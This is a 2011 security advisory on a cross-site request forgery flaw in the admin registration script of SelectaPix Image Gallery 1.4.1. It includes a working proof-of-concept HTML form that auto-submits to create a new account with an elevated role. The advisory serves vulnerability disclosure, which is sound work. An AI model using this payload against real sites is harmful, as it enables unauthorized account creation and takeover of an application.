HTB22963: CSRF (Cross-Site Request Forgery) in SelectaPix Image Gallery

Type securityvulns
Reporter Securityvulns
Modified 2011-05-03T00:00:00


Vulnerability ID: HTB22963 Reference: Product: SelectaPix Image Gallery Vendor: ( ) Vulnerable Version: 1.4.1 Vendor Notification: 19 April 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA Security Research Lab ( )

Vulnerability Details: The vulnerability exists due to failure in the "/admin/register_new.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://[host]/admin/register_new.php" method="post" name="main" id="main"> <input type="hidden" name="email" value=""> <input type="hidden" name="username" value="test"> <input type="hidden" name="passwd" value="123456"> <input type="hidden" name="passwd2" value="123456"> <input type="hidden" name="RoleID" value="4"> <input type="submit" id="btn"> </form> <script> document.getElementById('btn').click(); </script>